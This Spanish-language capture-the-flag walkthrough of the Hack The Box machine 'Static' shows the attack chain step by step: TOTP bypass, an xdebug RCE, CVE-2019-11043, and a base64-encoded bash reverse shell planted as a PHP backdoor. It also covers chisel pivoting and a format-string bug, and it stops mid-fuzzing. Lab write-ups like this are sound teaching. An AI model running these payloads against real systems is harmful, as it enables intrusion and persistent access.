Static
27 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.10.246
- Fecha: 19 / 06 / 2021
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -Pn -o nmap/targeted 10.10.10.246 -p 22,2222,8080
Nmap scan report for 10.10.10.246
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 27.37 seconds
La máquina tiene abiertos los puertos 22, 2222 (SSH), 8080 (HTTP).
Enumeración
Si vamos a http://10.10.10.246
utilizando un navegador web, veremos una página vacía. Mirando en la salida de nmap
, descubrimos que hay un archivo robots.txt
expuesto:
$ curl 10.10.10.246:8080/robots.txt
User-agent: *
Disallow: /vpn/
Disallow: /.ftp_uploads/
Y con esto tenemos dos rutas que probar. La página http://10.10.10.246/vpn
muestra un simple formulario de inicio de sesión como el siguiente:
Como se trata de un formulario muy sencillo, podemos probar también credenciales sencillas. Después de algunos intentos, vemos que admin:admin
funciona. Sin embargo, el servicio tiene habilitado 2FA (Segundo Factor de Autenticación).
Dejemos esto por el momento y vayamos a http://10.10.10.246/.ftp_uploads
. Como se puede ver, el listado de directorios está habilitado:
El fichero llamado warning.txt
dice lo siguiente:
$ curl 10.10.10.246:8080/.ftp_uploads/warning.txt
Binary files are being corrupted during transfer!!! Check if are recoverable.
Veamos si lo que dice es cierto. Si descargamos el archivo db.sql.gz
y extraemos el fichero db.sql
, obtendremos un error:
$ 7z x db.sql.gz
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 262 bytes (1 KiB)
Extracting archive: db.sql.gz
--
Path = db.sql.gz
Type = gzip
Headers Size = 17
ERROR: CRC Failed : db.sql
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
No obstante, 7z
es capaz de extraer el archivo db.sql
, pero está corrupto:
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN
Por tanto, el mensaje era cierto. Tenemos que pensar en cómo arreglar este archivo Gzip.
Parcheando un fichero Gzip
Como el directorio se llama .ftp_uploads
, a lo mejor el archivo Gzip se subió por FTP pero en modo ASCII y no en modo binario. Podemos encontrar este problema realizando una búsqueda por Internet.
Lo que pasa es que FTP en modo ASCII transformará los caracteres de salto de línea (\n
) a retorno de carro más salto de línea (\r\n
), modificando el archivo y corrompiéndolo (en un archivo de texto, no habría cambio visual). La corrección es sencilla: solamente tenemos que encontrar \r\n
en el archivo y reemplazarlo por \n
.
Si mostramos el contenido del archivo Gzip corrupto en hexadecimal, vemos que hay cuatro ocurrencias de \r\n
(en código ASCII hexadecimal, \r
es 0x0d
y \n
es 0x0a
):
$ xxd db.sql.gz
00000000: 1f8b 0808 ae8b eb5e 0003 6462 2e73 716c .......^..db.sql
00000010: 0055 8ec1 6ec2 3010 44ef f98a bd25 9138 .U..n.0.D....%.8
00000020: 84c4 0920 4e86 fa80 84a8 4442 afd5 d676 ... N.....DB...v
00000030: 8bd5 d846 b6d3 40bf be69 a902 9c76 a479 ...F..@..i...v.y
00000040: 333b eb3d a30d 8327 dad0 15ad 19f8 8041 3;.=...'.......A
00000050: f165 74b8 d3eb 2b33 105b 069d 97ce 4302 .et...+3.[....C.
00000060: 4a80 d7d8 b6ca 04e8 8c57 1f46 0d0a 3036 J........W.F..06
00000070: 80e9 da16 b00b f655 19ee a496 264c fe52 .......U....&L.R
00000080: 06b5 842f 74fc 882e c9b3 74a4 2770 42ef .../t.....t.'pB.
00000090: 7beb c468 9307 3bd8 701a ad69 f590 744a {..h..;.p..i..tJ
000000a0: a3bb c0a7 bc40 a244 0d0a e912 a2cd ae66 .....@.D.......f
000000b0: fb06 36bb e6f9 6eef 6dc5 ede1 7f77 0d0a ..6...n.m....w..
000000c0: 2f74 7b60 f5c0 5d6b 6314 5a99 7810 222b /t{`..]kc.Z.x."+
000000d0: 0d0a 99e7 280b 3247 f956 5655 f6ce f329 ....(.2G.VVU...)
000000e0: c950 f2a2 9c97 1927 0217 8bd9 2f6b ddf9 .P.....'..../k..
000000f0: ac08 9f0d b7ef bf5b 1b0f 6ba2 e807 eaf0 .......[..k.....
00000100: 78b0 6301 0000 x.c...
$ xxd db.sql.gz | grep -o 0d0a
0d0a
0d0a
0d0a
0d0a
Para parchear el archivo Gzip, decidí utilizar un simple script en Ruby que descarga el archivo, toma el contenido, reemplaza las ocurrencias de \r\n
por \n
y lo deposita en un archivo. Luego, podremos descomprimir el archivo parcheado sin errores. Esto también se puede hacer desde el propio script de Ruby con unas pocas líneas:
#!/usr/bin/env ruby
require 'uri'
require 'zlib'
require 'net/http'
sql_file = 'db.sql'
gz_file = "#{sql_file}.gz"
tmp = "tmp_#{gz_file}"
host = '10.10.10.246:8080'
puts "[*] Downloading corrupted #{gz_file} file"
url = URI("http://#{host}/.ftp_uploads/#{gz_file}")
res = Net::HTTP.get(url)
File.binwrite(gz_file, res)
File.open(gz_file, 'rb') { |f| File.binwrite(tmp, f.read.gsub("\r\n", "\n")) }
Zlib::GzipReader.open(tmp) do |f|
sql = f.read.strip
puts "[+] Patched #{gz_file} file. Found #{sql_file}:\n\n#{sql}"
File.open(sql_file, 'w') { |ff| ff.write(sql) }
end
Ahora ejecutamos el script y obtenemos el fichero db.sql
íntegro:
$ ruby patch_gz.rb
[*] Downloading corrupted db.sql.gz file
[+] Patched db.sql.gz file. Found db.sql:
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
Este archivo SQL crea una tabla llamada users
con columnas id
, username
, password
y totp
. Y luego se añade un nuevo usuario con nombre admin
. Aunque tenemos el hash de la contraseña, si lo rompemos obtendremos admin
(algo que ya sabemos). El otro valor es orxxi4c7orxwwzlo
para la columna totp
.
Gestionando 2FA
Este valor de totp
corresponde a la clave utilizada para el algoritmo de TOTP (Time-based One-Time Password). El algoritmo TOTP está implementado en librerías de Python y Ruby (entre otras); y también hay apps como Google Authenticator o soluciones online.
Como estamos utilizando Ruby esta vez, hagamos esto de TOTP también en Ruby. Primero necesitamos instalar rotp
con gem install rotp
. Y luego, desde irb
(Ruby interactivo) podemos coger el código:
$ irb
irb(main):001:0> require 'rotp'
=> true
irb(main):002:0> totp = ROTP::TOTP.new('orxxi4c7orxwwzlo')
=> #<ROTP::TOTP:0x0000000147827380 @digest="sha1", @digits=6, @interval=30, @issuer=nil, @secret="orxxi4c7orxwwzlo">
irb(main):003:0> totp.now
=> "309130"
irb(main):004:0> totp.now
=> "860691"
Desafortunadamente, estos códigos no funcionan. Probé con otras soluciones, pero los códigos eran los mismos, o sea que el problema no era de Ruby.
Entonces, me di cuenta de que como es un OTP basado en tiempo, necesitaba tener la misma fecha y hora que la máquina. Uno puede saber la fecha y hora actual de la máquina desde las cabeceras de respuesta HTTP si está habilitado. Por ejemplo:
$ curl 10.10.10.246:8080 -I
HTTP/1.1 200 OK
Date: Fri, 10 Dec 2021 22:22:22 GMT
Server: Apache/2.4.38 (Debian)
Content-Type: text/html; charset=UTF-8
Ahora podemos añadir esta fecha y hora al comando de Ruby y obtener un TOTP válido:
irb(main):005:0> require 'time'
=> true
irb(main):006:0> date = Time.parse('Fri, 10 Dec 2021 22:22:22 GMT').to_i
=> 1639174942
irb(main):007:0> totp.at(date)
=> "626733"
Durante los intentos, probé a añadir el cálculo del TOTP y el proceso de inicio de sesión (con admin:admin
) en el script de Ruby para verificar que el problema no era de tiempo entre inicio de sesión y envío del código de 2FA. Como resultado, conseguí que el proceso de inicio de sesión fuera automático; y cuando descubrí el problema, ya tenía un script funcional para iniciar sesión como admin
con las siguientes líneas:
require 'rotp'
require 'time'
require 'uri'
require 'net/http'
host = '10.10.10.246:8080'
totp = 'orxxi4c7orxwwzlo'
url = URI("http://#{host}/vpn/login.php")
res = Net::HTTP.post(url, 'username=admin&password=admin&submit=Login')
cookie = res['Set-Cookie']
server_time = Time.parse(res['Date']).to_i
puts '[+] Login successful'
code = ROTP::TOTP.new(totp).at(server_time)
puts "[*] Generating TOTP code: #{code}"
res = Net::HTTP.post(url, "code=#{code}", { Cookie: cookie })
location = res['Location']
puts "[+] 2FA successful. Go to http://#{host}/vpn/#{location}"
puts "[+] Cookie: #{cookie}"
El script retorna la URL a la que acceder (ya que el servidor aplica una redirección) y la cookie para mantener la autenticación:
$ ruby login_2fa.rb
[+] Login successful
[*] Generating TOTP code: 508175
[+] 2FA successful. Go to http://10.10.10.246:8080/vpn/panel.php
[+] Cookie: PHPSESSID=1l5prlovq3bek3488ehmi03koj; path=/
Acceso a la máquina
Podemos ver un panel como este:
Aquí podemos descargar una VPN como archivo .ovpn
(como el que se utiliza para conectarse a las máquinas de Hack The Box). Podemos ver también que hay algunas máquinas que deberían ser accesibles utilizando la VPN.
Solo por completar el script de Ruby, decidí poner todo junto. Como resultado, el script se descarga y parchea el archivo Gzip, extrae la clave de TOTP del contenido SQL, inicia sesión con credenciales y 2FA y finalmente descarga el archivo de VPN como static.ovpn
. El script se llama get_vpn.rb
(explicación detallada aquí).
Conexión a la VPN de Static
Si ejecutamos openvpn static.ovpn
, veremos algunos errores. El problema es que el archivo contiene un subdominio llamado vpn.static.htb
:
$ head static.ovpn
client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
group nogroup
persist-key
persist-tun
Por tanto, tenemos que añadir el subdominio a /etc/hosts
. Una vez hecho, la conexión VPN funciona correctamente y nos otorga una dirección IP 172.30.0.9
.
Sin embargo, no tenemos conexión con las direcciónes IP listadas en el portal. Podemos arreglarlo añadiendo rutas a mano:
# route add -net 172.20.0.0 172.30.0.1 255.255.255.0
add net 172.20.0.0: gateway 172.30.0.1
# ping -c 1 172.20.0.10
PING 172.20.0.10 (172.20.0.10): 56 data bytes
64 bytes from 172.20.0.10: icmp_seq=0 ttl=63 time=49.962 ms
--- 172.20.0.10 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 49.962/49.962/49.962/0.000 ms
# ping -c 1 172.20.0.11
PING 172.20.0.11 (172.20.0.11): 56 data bytes
64 bytes from 172.20.0.11: icmp_seq=0 ttl=63 time=43.332 ms
--- 172.20.0.11 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 43.332/43.332/43.332/0.000 ms
Comprometiendo un servidor interno
Después de un simple escaneo de nmap
para la dirección IP 172.20.0.10
, vemos que se trata de un servidor web:
# nmap -sS -p- -Pn -n 172.20.0.10
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 172.20.0.10
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 57.40 seconds
Este servidor muestra el siguiente listado de directorios:
El directorio vpn
es el mismo de antes, por lo que no es interesante.
El archivo info.php
muestra un phpinfo()
con la configuración de PHP. Después de leer toda la información, descubrimos que xdebug
está habilitado:
Esto es un problema porque podemos conectarnos al servidor por razones de “depuración” y ganar ejecución remota de comandos (RCE). Buscando por exploits, podemos encontrar este), el cual está hecho en Python versión 2. El exploit funciona y nos otorga una línea de comandos interactiva.
Decidí traducir el script a Python versión 3 y modificarlo para que me otorgara una reverse shell con nc
, lo cual es más cómodo. El exploit resultante puede encontrarse en: xdebug_shell.py
(explicación detallada aquí).
Podemos utilizar este exploit para ganar acceso al servidor web interno (recuérdese que hay que utilizar la dirección IP que nos otorga la VPN de Static, no la de Hack The Box):
$ python3 xdebug_shell.py http://172.20.0.10/info.php 172.30.0.9 4444
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.30.0.1.
Ncat: Connection from 172.30.0.1:52634.
bash: cannot set terminal process group (37): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@web:/var/www/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@web:/var/www/html$ export TERM=xterm
www-data@web:/var/www/html$ export SHELL=bash
www-data@web:/var/www/html$ stty rows 50 columns 158
Y aquí podemos encontrar la flag user.txt
:
www-data@web:/var/www/html$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Apr 6 2020 .
drwxr-xr-x 3 root root 4096 Jun 14 2021 ..
-rw-r--r-- 1 root root 19 Apr 3 2020 info.php
drwxr-xr-x 3 root root 4096 Jun 17 2020 vpn
www-data@web:/var/www/html$ ls /home
user.txt www-data
www-data@web:/var/www/html$ cat /home/user.txt
c3f343befcac5fa92fb5373456e94247
Además, podemos obtener una clave id_rsa
para el usuario www-data
:
www-data@web:/var/www/html$ ls -la /home/www-data
total 16
drwxr-x--- 4 www-data www-data 4096 Jun 14 2021 .
drwxr-xr-x 3 root root 4096 Jun 14 2021 ..
lrwxrwxrwx 1 root root 9 Jun 14 2021 .bash_history -> /dev/null
drwx------ 2 www-data www-data 4096 Jun 14 2021 .cache
drwx------ 2 www-data www-data 4096 Jun 14 2021 .ssh
www-data@web:/var/www/html$ ls -la /home/www-data/.ssh
total 20
drwx------ 2 www-data www-data 4096 Jun 14 2021 .
drwxr-x--- 4 www-data www-data 4096 Jun 14 2021 ..
-rw-r--r-- 1 www-data www-data 390 Jun 14 2021 authorized_keys
-rw------- 1 www-data www-data 1675 Jun 14 2021 id_rsa
-rw-r--r-- 1 www-data www-data 390 Jun 14 2021 id_rsa.pub
Por tanto, podemos copiarla o transferirla y conectarnos por SSH. Podemos acceder desde la dirección IP 172.20.0.10:
$ ssh -i id_rsa www-data@172.20.0.10
www-data@web:~$
Pero también desde la dirección IP 10.10.10.246 y puerto 2222 (recuérdese que había dos servicios SSH en ejecución):
$ ssh -i id_rsa www-data@10.10.10.246 -p 2222
www-data@web:~$
Enumeración de red
Veamos qué interfaces de red tenemos:
www-data@web:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.10 netmask 255.255.255.0 broadcast 172.20.0.255
ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet)
RX packets 286733 bytes 62939217 (62.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 284115 bytes 109282923 (109.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.254.2 netmask 255.255.255.0 broadcast 192.168.254.255
ether 02:42:c0:a8:fe:02 txqueuelen 0 (Ethernet)
RX packets 16555 bytes 3910920 (3.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23781 bytes 10145337 (10.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 576 bytes 38947 (38.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 576 bytes 38947 (38.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Tenemos el siguiente esquema de red:
Podemos conectarnos a pki
, que tiene dirección IP 192.168.254.3
. Para realizar un escaneo de puertos podemos utilizar nmap
con proxychains
configurando un reenvío de puertos dinámico con SSH:
$ ssh -fND 9050 -i id_rsa www-data@10.10.10.246 -p 2222
# proxychains4 -q nmap -sS -p- -vvv -Pn -n 192.168.254.3
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org )
Initiating SYN Stealth Scan
Scanning 192.168.254.3 [65535 ports]
SYN Stealth Scan Timing: About 0.30% done
Stats: 0:01:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.39% done
Stats: 0:02:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.50% done
^C
La idea era buena, pero el escaneo se demoraba muchísimo. Además, nmap
con proxychains
no funciona del todo bien a veces (puede reportar falsos positivos o no reportar puertos abiertos).
Utilizamos entonces un sencillo script en Bash y lo ejecutamos desde la máquina web
para tener menor latencia:
#!/usr/bin/env bash
for p in `seq 1 65535`; do
echo -ne "Trying $p\r"
timeout 1 echo 2>/dev/null > /dev/tcp/192.168.254.3/$p && echo "Port: $p OPEN" &
done; wait
Podemos transferir el script utilizando un servidor web con Python y wget
, ya que la máquina no tiene vim
ni nano
.
www-data@web:~$ cd /tmp
www-data@web:/tmp$ wget 172.30.0.9/port_scan.sh
www-data@web:/tmp$ bash port_scan.sh
Port: 80 OPEN
En menos de 5 minutos tenemos todos los resultados. Solamente el puerto 80 (HTTP) está abierto en pki
, el cual aparecerá como resultado del escaneo en pocos segundos.
Entonces, podemos realizar un reenvío de puertos con SSH (se puede escribir ENTER
+ ~C
para salir temporalmente de la sesión de SSH y obtener la interfaz ssh>
):
www-data@web:/tmp$
ssh> -L 8080:192.168.254.3:80
Forwarding port.
www-data@web:/tmp$
Tenemos la siguiente respuesta HTTP de pki
:
$ curl 127.0.0.1:8080 -i
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Jan 2023 00:04:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP-FPM/7.1
batch mode: /usr/bin/ersatool create|print|revoke CN
Esta respuesta es extraña puesto que muestra una especie de “panel de ayuda” de un binario llamado ersatool
. Si aplicamos fuzzing podemos encontrar más rutas:
$ ffuf -w $WORDLISTS/dirb/common.txt -u http://127.0.0.1:8080/FUZZ
[Status: 200, Size: 53, Words: 5, Lines: 2, Duration: 164ms]
index.php [Status: 200, Size: 53, Words: 5, Lines: 2, Duration: 48ms]
uploads [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 112ms]
Existe un directorio /uploads
, pero el listado de directorios está deshabilitado.
Comprometiendo otro servidor interno
Desde la respuesta HTTP anterior, se puede ver que el servidor está utilizando PHP-FPM/7.1. Existe un exploit para esta tecnología, demostrada aquí (CVE-2019-11043).
El exploit consiste en un proyecto en Go que expone una web-shell en la víctima. Vamos a compilar el proyecto:
$ git clone https://github.com/neex/phuip-fpizdam
$ cd phuip-fpizdam
$ go build --ldflags='-s -w' .
go: downloading github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
$ upx phuip-fpizdam
Después de leer la información básica del exploit, podemos ejecutarlo así:
$ ./phuip-fpizdam http://127.0.0.1:8080/index.php
Base status code is 200
Status code 502 for qsl=1765, adding as a candidate
The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
Attack params found: --qsl 1755 --pisos 38 --skip-detect
Trying to set "session.auto_start=0"...
Detect() returned attack params: --qsl 1755 --pisos 38 --skip-detect <-- REMEMBER THIS
Performing attack using php.ini settings...
Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
Trying to cleanup /tmp/a...
Done!
Como dice en la salida del programa, ahora tenemos un parámetro en la URL en el que poner nuestros comandos de sistema:
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'which+which'&"
/usr/bin/which
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br
/>
batch mode: /usr/bin/ersatool create|print|revoke CN
Cabe mencionar que el comando no siempre funciona. Es necesario enviar la petición unas tres o cuatro veces para ejecutar el comando.
Utilizando este RCE, podemos realizar una enumeración básica del sistema:
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'whoami'&"
www-data
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br
/>
batch mode: /usr/bin/ersatool create|print|revoke CN
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'ls+-la'&"
total 16
drwxr-xr-x 3 root root 4096 Apr 4 2020 .
drwxr-xr-x 3 root root 4096 Mar 27 2020 ..
-rw-r--r-- 1 root root 174 Apr 4 2020 index.php
drwxr-xr-x 2 www-data www-data 4096 Mar 27 2020 uploads
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br />
batch mode: /usr/bin/ersatool create|print|revoke CN
Sin embargo, sería mucho más útil tener una consola de comandos. Para ello, se puede añadir un archivo PHP en el directorio /uploads
con un comando a nivel de sistema que envíe una reverse shell.
Nótese que pki
no tiene conectividad con la máquina de atacante. Por tanto, la reverse shell tiene que ser enviada a web
(192.168.254.2
). Y una vez en web
, el tráfico será redirigido a la máquina de atacante (172.30.0.9
) utilizando un reenvío de puertos con chisel
.
$ echo -n 'bash -i >& /dev/tcp/192.168.254.2/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx
El archivo PHP se llamará b4ckd0or.php
y tendrá el siguiente contenido:
<?php system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx|base64 -d|bash"); ?>
La enumeración anterior nos dice que no existe nc
, curl
ni wget
. Entonces, la mejor manera de escribir este archivo es utilizando echo
y redirigiendo la salida. Hay que tener cuidado también con la codificación URL:
$ curl "127.0.0.1:8080/index.php?a=echo+'<?php+system(\"echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx|base64+-d|bash\");+?>'+>+uploads/b4ckd0or.php;echo+asdf&"
asdf
Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
batch mode: /usr/bin/ersatool create|print|revoke CN
Nótese que añadí un comando echo asdf
para saber que el comando se había ejecutado correctamente (recuérdese que hasta la tercera o cuarta petición, el comando no funciona).
Ahora necesitamos transferir chisel
a la máquina web
(utilizando un servidor HTTP con Python desde la máquina de atacante):
www-data@web:/tmp$ wget -q 172.30.0.9/chisel
www-data@web:/tmp$ mv chisel .chisel
www-data@web:/tmp$ chmod +x .chisel
La máquina web
será el servidor, en escucha en el puerto 1337:
www-data@web:/tmp$ ./.chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint hQIxqO8XgdRQ0l9fMNAkw3PmdG9Flu7YvQeJtgZ9o2E=
server: Listening on http://0.0.0.0:1337
Y la máquina de atacante se conectará al servidor (172.20.0.10:1337
) y le dirá que reenvíe todo lo que llegue a 192.168.254.2:4444
(máquina web
) al puerto 4444 (máquina de atacante):
$ ./chisel client 172.20.0.10:1337 R:192.168.254.2:4444:0.0.0.0:4444
client: Connecting to ws://172.20.0.10:1337
client: Connected (Latency 82.064375ms)
La salida del comando del servidor indica cómo está establecida la conexión:
www-data@web:/tmp$ ./.chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint hQIxqO8XgdRQ0l9fMNAkw3PmdG9Flu7YvQeJtgZ9o2E=
server: Listening on http://0.0.0.0:1337
server: session#1: tun: proxy#R:192.168.254.2:4444=>0.0.0.0:4444: Listening
Ahora podemos hacer una petición al archivo /uploads/b4ckd0or.php
y ganar una conexión por reverse shell en la máquina pki
:
$ curl 127.0.0.1:8080/uploads/b4ckd0or.php
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:59809.
bash: cannot set terminal process group (11): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pki:~/html/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@pki:~/html/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@pki:~/html/uploads$ export TERM=xterm
www-data@pki:~/html/uploads$ export SHELL=bash
www-data@pki:~/html/uploads$ stty rows 50 columns 158
Escalada de privilegios
Estamos como usuario www-data
. Esta máquina pki
es un contenedor de Docker (ya que tiene un .dockerenv
y solo unos pocos comandos instalados):
www-data@pki:~/html/uploads$ ls -a /
. .. .dockerenv bin boot dev entry.sh etc home lib lib64 media mnt opt php-src proc root run sbin srv sys tmp usr var
Si enumeramos capabilities de sistema, vemos que el binario ersatool
tiene cap_setuid+eip
:
www-data@pki:~/html/uploads$ getcap -r / 2>/dev/null
/usr/bin/ersatool = cap_setuid+eip
Esto significa que en algunos puntos del programa el binario tiene permiso para realizar acciones con permisos elevados (como root
). Veamos si hay más archivos relacionados con el binario:
www-data@pki:~/html/uploads$ find / -name \*ersatool\* 2>/dev/null
/usr/src/ersatool.c
/usr/bin/ersatool
Y tenemos el código fuente. Esto es bueno porque podemos saltarnos algunos procesos de ingeniería inversa.
Encontrando una vulnerabilidad de Format String
El binario se utiliza para generar la VPN de los usuarios. Igual necesita ejecutarse como root
durante algunas tareas para leer claves privadas, por ejemplo.
Después de mirar el código fuente, descubrimos una vulnerabilidad de Format String:
void printCN(char *cn, int i) {
char fn[100];
char buffer[100];
if (i == 1) {
printf("print->CN=");
fflush(stdout);
memset(buffer, 0, sizeof(buffer));
read(0, buffer, sizeof(buffer));
} else {
memset(buffer, 0, sizeof(buffer));
strncat(buffer, cn, sizeof(buffer));
}
if (!strncmp("\n", buffer, 1)) { return; }
do {
strncpy(fn, OUTPUT_DIR, sizeof(fn));
strncat(fn, "/", sizeof(fn) - strlen(fn));
strncat(fn, strtok(basename(buffer), "\n"), sizeof(fn) - strlen(fn));
strncat(fn, EXT, sizeof(fn) - strlen(fn));
printf(buffer); //checking buffer content
filePrint(fn);
if (i == 1) {
printf("\nprint->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
} while (strncmp("\n", buffer, 1) && i == 1);
}
¿Puedes verlo? Esta es la línea vulnerable:
printf(buffer); //checking buffer content
La variable buffer
viene directamente de la entrada del usuario, por lo que tenemos control sobre la variable.
Las vulnerabilidades de Format String son muy peligrosas porque podemos leer datos de la memoria e incluso escribir y modificar datos de la misma para obtener RCE.
La función printf
utiliza format strings con caracteres especiales para imprimir los diferentes tipos de datos. Por ejemplo:
printf("%d\n", 1337); // Prints: 1337
printf("%s\n", "7Rocky"); // Prints: 7Rocky
printf("%x\n", 0xACDC); // Prints: acdc
El formato %n
escribe el número de bytes escritos hasta el formato en la dirección dada como argumento precediendo al formato.
El problema es que tenemos control sobre la format string, ya que podemos hacer esto:
www-data@pki:~/html/uploads$ ersatool
batch mode: /usr/bin/ersatool create|print|revoke CN
www-data@pki:~/html/uploads$ ersatool print %x
ff35015f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
www-data@pki:~/html/uploads$ ersatool
# print
print->CN=%x
ffe4827f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
^C
Los valores ff35015f
y ffe4827f
son valores tomados de la pila (stack), estamos realizando una fuga de datos de memoria (memory leak).
Nótese que el programa se puede ejecutar en modo interactivo.
Podemos hacer un poco de fuzzing con Python para ver dónde se muestra la cadena AAAA
situada antes de los formatos:
www-data@pki:~/html/uploads$ ersatool print $(python3 -c 'print("AAAA" + "%x." * 100)')
